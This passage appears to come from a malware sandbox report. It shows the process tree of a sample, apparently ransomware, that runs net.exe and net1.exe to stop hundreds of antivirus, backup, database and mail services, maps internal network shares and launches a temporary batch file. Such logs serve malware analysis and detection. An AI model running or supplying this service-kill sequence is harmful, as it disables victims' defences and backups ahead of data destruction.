  "net.exe" stop SQLAgent$TPS /y
  2⤵
  PID:7608
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop swi_filter /y
  2⤵
  PID:7600
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop SQLAgent$SYSTEM_BGC /y
  2⤵
  PID:7592
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop svcGenericHost /y
  2⤵
  PID:7584
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop SQLAgent$SQLEXPRESS /y
  2⤵
  PID:7576
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop SQLAgent$SOPHOS /y
  2⤵
  PID:7568
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop SQLAgent$SQL_2008 /y
  2⤵
  PID:7560
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop sophossps /y
  2⤵
  PID:7552
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop SQLAgent$SHAREPOINT /y
  2⤵
  PID:7544
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop SntpService /y
  2⤵
  PID:7536
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop SQLAgent$SBSMONITORING /y
  2⤵
  PID:7528
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop SmcService /y
  2⤵
  PID:7520
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop SQLAgent$PROFXENGAGEMENT /y
  2⤵
  PID:7512
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop Smcinst /y
  2⤵
  PID:7504
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop SQLAgent$PROD /y
  2⤵
  PID:7496
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop ShMonitor /y
  2⤵
  PID:7488
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop SQLAgent$PRACTTICEMGT /y
  2⤵
  PID:7480
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop SepMasterService /y
  2⤵
  PID:7472
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop SQLAgent$PRACTTICEBGC /y
  2⤵
  PID:7464
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop SAVService /y
  2⤵
  PID:7456
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop SQLAgent$ECWDB2 /y
  2⤵
  PID:7448
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop SAVAdminService /y
  2⤵
  PID:7440
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop SQLAgent$CXDB /y
  2⤵
  PID:7432
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop sacsvr /y
  2⤵
  PID:7424
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop SQLAgent$CITRIX_METAFRAME /y
  2⤵
  PID:7416
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop MSSQL$SOPHOS /y
  2⤵
  PID:7408
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop SQLAgent$BKUPEXEC /y
  2⤵
  PID:7400
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop sms_site_sql_backup /y
  2⤵
  PID:7392
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop mfevtp /y
  2⤵
  PID:7384
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop RESvc /y
  2⤵
  PID:7376
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop wbengine /y
  2⤵
  PID:7368
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop mfemms /y
  2⤵
  PID:7360
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop ReportServer$SQL_2008 /y
  2⤵
  PID:7352
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop wbengine /y
  2⤵
  PID:7344
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop mfefire /y
  2⤵
  PID:7336
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop OracleClientCache80 /y
  2⤵
  PID:7328
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop VeeamTransportSvc /y
  2⤵
  PID:7320
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop McTaskManager /y
  2⤵
  PID:7312
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop MySQL80 /y
  2⤵
  PID:7304
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop VeeamRESTSvc /y
  2⤵
  PID:7296
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop McShield /y
  2⤵
  PID:7288
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop MySQL57 /y
  2⤵
  PID:7280
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop VeeamNFSSvc /y
  2⤵
  PID:7272
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop McAfeeFrameworkMcAfeeFramework /y
  2⤵
  PID:7264
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop MSSQLServerOLAPService /y
  2⤵
  PID:7256
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop VeeamMountSvc /y
  2⤵
  PID:7248
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop McAfeeFramework /y
  2⤵
  PID:7240
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop MSSQLServerADHelper100 /y
  2⤵
  PID:7232
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop VeeamHvIntegrationSvc /y
  2⤵
  PID:7224
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop McAfeeEngineService /y
  2⤵
  PID:7216
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop MSSQLServerADHelper /y
  2⤵
  PID:7208
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop VeeamEnterpriseManagerSvc /y
  2⤵
  PID:7200
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop MBEndpointAgent /y
  2⤵
  PID:7192
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop MSSQLSERVER /y
  2⤵
  PID:7184
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop VeeamDeploySvc /y
  2⤵
  PID:7176
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop MBAMService /y
  2⤵
  PID:6496
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop MSSQLFDLauncher$TPSAMA /y
  2⤵
  PID:6564
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop VeeamDeploymentService /y
  2⤵
  PID:6584
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop masvc /y
  2⤵
  PID:6512
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop MSSQLFDLauncher$TPS /y
  2⤵
  PID:6184
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop VeeamCloudSvc /y
  2⤵
  PID:6376
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop macmnsvc /y
  2⤵
  PID:6384
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop MSSQLFDLauncher$SYSTEM_BGC /y
  2⤵
  PID:6312
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop VeeamCatalogSvc /y
  2⤵
  PID:6360
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop klnagent /y
  2⤵
  PID:6176
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop MSSQLFDLauncher$SQL_2008 /y
  2⤵
  PID:5472
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop VeeamBrokerSvc /y
  2⤵
  PID:7164
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop kavfsslp /y
  2⤵
  PID:7156
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop MSSQLFDLauncher$SHAREPOINT /y
  2⤵
  PID:7148
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop VeeamBackupSvc /y
  2⤵
  PID:7140
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop KAVFSGT /y
  2⤵
  PID:7132
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop MSSQLFDLauncher$SBSMONITORING /y
  2⤵
  PID:7120
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop SQLWriter /y
  2⤵
  PID:7108
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop KAVFS /y
  2⤵
  PID:7096
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop MSSQLFDLauncher$PROFXENGAGEMENT /y
  2⤵
  PID:7088
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop SQLAgent$VEEAMSQL2008R2 /y
  2⤵
  PID:7080
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop FA_Scheduler /y
  2⤵
  PID:7072
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop MSSQL$VEEAMSQL2012 /y
  2⤵
  PID:7064
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop SDRSVC /y
  2⤵
  PID:7056
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop ESHASRV /y
  2⤵
  PID:7048
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop MSSQL$VEEAMSQL2008R2 /y
  2⤵
  PID:7032
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop PDVFSService /y
  2⤵
  PID:7024
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop EsgShKernel /y
  2⤵
  PID:7016
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop MSSQL$TPSAMA /y
  2⤵
  PID:7008
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop ntrtscan /y
  2⤵
  PID:6996
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop EPUpdateService /y
  2⤵
  PID:6988
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop MSSQL$TPS /y
  2⤵
  PID:6980
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop MSSQL$VEEAMSQL2008R2 /y
  2⤵
  PID:6968
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop EPSecurityService /y
  2⤵
  PID:6960
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop NetMsmqActivator /y
  2⤵
  PID:6324
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop MsDtsServer100 /y
  2⤵
  PID:6316
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop “SQL Backups /y
  2⤵
  PID:6300
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop “Enterprise Client Service” /y
  2⤵
  PID:6292
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop EraserSvc11710 /y
  2⤵
  PID:6276
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop “Sophos Agent” /y
  2⤵
  PID:6236
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop MSExchangeES /y
  2⤵
  PID:6220
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop IISAdmin /y
  2⤵
  PID:6212
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop MsDtsServer /y
  2⤵
  PID:6196
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop “Acronis VSS Provider” /y
  2⤵
  PID:6160
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop sophos /y
  2⤵
  PID:6148
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop CAARCUpdateSvc /y
  2⤵
  PID:5764
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop CASAD2DWebSvc /y
  2⤵
  PID:5268
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop AcrSch2Svc /y
  2⤵
  PID:3712
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop BackupExecRPCService /y
  2⤵
  PID:6004
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop BackupExecManagementService /y
  2⤵
  PID:5752
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop BackupExecJobEngine /y
  2⤵
  PID:5452
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop BackupExecDiveciMediaService /y
  2⤵
  PID:5172
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop BackupExecAgentBrowser /y
  2⤵
  PID:5684
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop BackupExecAgentAccelerator /y
  2⤵
  PID:4788
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop BackupExecVSSProvider /y
  2⤵
  PID:4432
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop PDVFSService /y
  2⤵
  PID:5492
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop veeam /y
  2⤵
  PID:1300
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop VeeamNFSSvc /y
  2⤵
  PID:1476
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop VeeamDeploymentService /y
  2⤵
  PID:4600
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop VeeamTransportSvc /y
  2⤵
  PID:5264
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop VSNAPVSS /y
  2⤵
  PID:4236
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop QBIDPService /y
  2⤵
  PID:5348
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop QBFCService /y
  2⤵
  PID:2804
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop RTVscan /y
  2⤵
  PID:6052
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop SavRoam /y
  2⤵
  PID:5900
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop ccEvtMgr /y
  2⤵
  PID:6060
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop MMS /y
  2⤵
  PID:5580
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop EhttpSrv /y
  2⤵
  PID:200
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop Intuit.QuickBooks.FCS /y
  2⤵
  PID:5992
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop bedbg /y
  2⤵
  PID:5892
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop NetBackup BMR MTFTP Service /y
  2⤵
  PID:5844
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop BMR Boot Service /y
  2⤵
  PID:5808
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop McAfeeDLPAgentService /y
  2⤵
  PID:5716
- C:\Windows\SYSTEM32\net.exe
  "net.exe" use \\10.10.0.84
  2⤵
  PID:7084
- C:\Windows\SYSTEM32\net.exe
  "net.exe" use \\10.10.0.87
  2⤵
  PID:6216
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmp9C9E.bat
  2⤵
  PID:6124

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop McAfeeDLPAgentService /y
1⤵
PID:2588

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop BMR Boot Service /y
1⤵
PID:192

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop bedbg /y
1⤵
PID:3252

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop NetBackup BMR MTFTP Service /y
1⤵
PID:5260

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop Intuit.QuickBooks.FCS /y
1⤵
PID:5588

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localserviceandnoimpersonation -s upnphost
1⤵
PID:5576

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop CAARCUpdateSvc /y
1⤵
PID:13696

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MSOLAP$SYSTEM_BGC /y
1⤵
PID:13688

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop SQLAgent$CITRIX_METAFRAME /y
1⤵
PID:14424

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop YooIT /y
1⤵
PID:16140

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop SntpService /y
1⤵
PID:16476

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop “Sophos Clean Service” /y
1⤵
PID:16592

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop BackupExecManagementService /y
1⤵
PID:7128

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop SQLAgent$CXDB /y
1⤵
PID:14144

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MSSQL$PROFXENGAGEMENT /y
1⤵
PID:13180

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop UI0Detect /y
1⤵
PID:13172

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop BackupExecAgentBrowser /y
1⤵
PID:8904

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop AcronisAgent /y
1⤵
PID:12172

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MSSQL$ECWDB2 /y
1⤵
PID:3496

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop “Sophos Message Router” /y
1⤵
PID:12700

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop VeeamCatalogSvc /y
1⤵
PID:12704

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop “Sophos Web Control Service” /y
1⤵
PID:16580

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop Antivirus /y
1⤵
PID:5508

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MSOLAP$SQL_2008 /y
1⤵
PID:14052

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop audioendpointbuilder /y
1⤵
PID:5332

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MSSQL$SBSMONITORING /y
1⤵
PID:11016

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MSSQL$SHAREPOINT /y
1⤵
PID:11024

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MSSQL$SBSMONITORING /
1⤵
PID:10940

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop BackupExecJobEngine /y
1⤵
PID:9064

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop SQLBrowser /y
1⤵
PID:14184

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop ShMonitor /y
1⤵
PID:14232

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop SQLAgent$SQLEXPRESS /y
1⤵
PID:13200

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop DCAgent /y
1⤵
PID:14120

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop YooBackup /y
1⤵
PID:10844

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop VeeamDeploySvc /y
1⤵
PID:14216

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop BackupExecAgentAccelerator /y
1⤵
PID:16860

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop “Veeam Backup Catalog Data Service” /y
1⤵
PID:16724

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop SQLAgent$ECWDB2 /y
1⤵
PID:16716

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MSSQL$SOPHOS /y
1⤵
PID:16708

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop “SQLsafe Backup Service” /y
1⤵
PID:16700

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MsDtsServer110 /y
1⤵
PID:16692

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop SAVAdminService /y
1⤵
PID:16684

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop AVP /y
1⤵
PID:16676

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop BackupExecDeviceMediaService /y
1⤵
PID:16668

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop stc_raw_agent /y
1⤵
PID:16648

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop SQLAgent$SOPHOS /y
1⤵
PID:16640

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MySQL80 /y
1⤵
PID:16584

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop SamSs /y
1⤵
PID:16548

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop SepMasterService /y
1⤵
PID:16540

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop McShield /y
1⤵
PID:16532

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop BackupExecVSSProvider /y
1⤵
PID:16524

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop “Sophos Health Service” /y
1⤵
PID:16468

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop sophossps /y
1⤵
PID:16460

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop VeeamBackupSvc /y
1⤵
PID:16452

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop ReportServer$TPSAMA /y
1⤵
PID:16444

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop SQLAgent$PRACTTICEBGC /y
1⤵
PID:16436

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop “Sophos File Scanner Service” /y
1⤵
PID:16428

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop W3Svc /y
1⤵
PID:16420

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop VeeamMountSvc /y
1⤵
PID:16412

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop svcGenericHost /y
1⤵
PID:16404

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop McAfeeFrameworkMcAfeeFramework /y
1⤵
PID:16396

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop “Sophos MCS Agent” /y
1⤵
PID:16388

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop TmCCSF /y
1⤵
PID:13940

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop SAVService /y
1⤵
PID:14620

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop vapiendpoint /y
1⤵
PID:14124

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop msexchangeadtopology /y
1⤵
PID:6296

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop “Zoolz 2 Service” /y
1⤵
PID:14840

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop AcrSch2Svc /y
1⤵
PID:15488

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop “Sophos MCS Client” /y
1⤵
PID:14188

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher$SQL_2008 /y
1⤵
PID:7764

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop SQLAgent$VEEAMSQL2008R2 /y
1⤵
PID:16260

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MBAMService /y
1⤵
PID:16236

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop swi_update /y
1⤵
PID:16228

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop SQLSERVERAGENT /y
1⤵
PID:16220

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MSOLAP$TPSAMA /y
1⤵
PID:16212

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop POP3Svc /y
1⤵
PID:16196

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MSSQL$PROD /y
1⤵
PID:16200

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop VeeamRESTSvc /y
1⤵
PID:16180

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop SQLSafeOLRService /y
1⤵
PID:16172

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop “Sophos Device Control Service” /y
1⤵
PID:16164

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop TrueKeyScheduler /y
1⤵
PID:16156

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop SQLAgent$PROD /y
1⤵
PID:16148

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop VeeamDeploymentService /y
1⤵
PID:16132

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MSSQL$PRACTTICEBGC /y
1⤵
PID:16124

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop swi_service /y
1⤵
PID:16116

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop ReportServer /y
1⤵
PID:16108

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop SQLAgent$TPS /y
1⤵
PID:16100

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop ReportServer$SYSTEM_BGC /y
1⤵
PID:16092

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop SDRSVC /y
1⤵
PID:16084

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher$TPS /y
1⤵
PID:16076

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop wbengine /y
1⤵
PID:16068

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop TrueKey /y
1⤵
PID:16060

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop WRSVC /y
1⤵
PID:16052

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop SmcService /y
1⤵
PID:16044

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop VeeamEnterpriseManagerSvc /y
1⤵
PID:16036

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop “intel(r) proset monitoring service” /y
1⤵
PID:15992

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop McTaskManager /y
1⤵
PID:15984

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop SQLAgent$PRACTTICEMGT /y
1⤵
PID:15976

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop masvc /y
1⤵
PID:15968

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop ReportServer$SQL_2008 /y
1⤵
PID:15960

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop RESvc /y
1⤵
PID:15944

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop BackupExecRPCService /y
1⤵
PID:15928

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop msexchangeimap4 /y
1⤵
PID:15904

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop mozyprobackup /y
1⤵
PID:15896

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop KAVFS /y
1⤵
PID:15548

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop kavfsslp /y
1⤵
PID:15540

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop ReportServer$SQL_2008 /y
1⤵
PID:15400

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MSExchangeSA /y
1⤵
PID:15388

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MSSQLServerADHelper /y
1⤵
PID:15256

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop SQLAgent$SQL_2008 /y
1⤵
PID:15248

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MSSQLSERVER /y
1⤵
PID:15240

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MBEndpointAgent /y
1⤵
PID:15180

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher$PROFXENGAGEMENT /y
1⤵
PID:15172

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop SQLTELEMETRY /y
1⤵
PID:15164

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MSOLAP$TPS /y
1⤵
PID:15156

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop swi_update_64 /y
1⤵
PID:15148

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop McAfeeFramework /y
1⤵
PID:15140

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop SQLAgent$SHAREPOINT /y
1⤵
PID:15132

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MSExchangeSRS /y
1⤵
PID:15124

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop “Sophos Safestore Service” /y
1⤵
PID:15116

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop KAVFSGT /y
1⤵
PID:15108

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop EPUpdateService /y
1⤵
PID:15100

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop ntrtscan /y
1⤵
PID:15092

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop ESHASRV /y
1⤵
PID:15084

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop VeeamNFSSvc /y
1⤵
PID:15076

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop klnagent /y
1⤵
PID:15068

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop SQLWriter /y
1⤵
PID:15060

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop “aphidmonitorservice” /y
1⤵
PID:15052

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MySQL57 /y
1⤵
PID:15044

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MSSQL$PRACTICEMGT /y
1⤵
PID:15036

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop Smcinst /y
1⤵
PID:15028

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop TrueKeyServiceHelper /y
1⤵
PID:15020

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop wbengine /y
1⤵
PID:15000

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop swi_filter /y
1⤵
PID:14992

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MSSQL$TPS /y
1⤵
PID:14984

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MSSQL$VEEAMSQL2008R2 /y
1⤵
PID:14976

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MSExchangeMGMT /y
1⤵
PID:14968

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop mfefire /y
1⤵
PID:14960

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop EPSecurityService /y
1⤵
PID:14948

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MSSQL$TPSAMA /y
1⤵
PID:14800

C:\Windows\system32\net1.exe
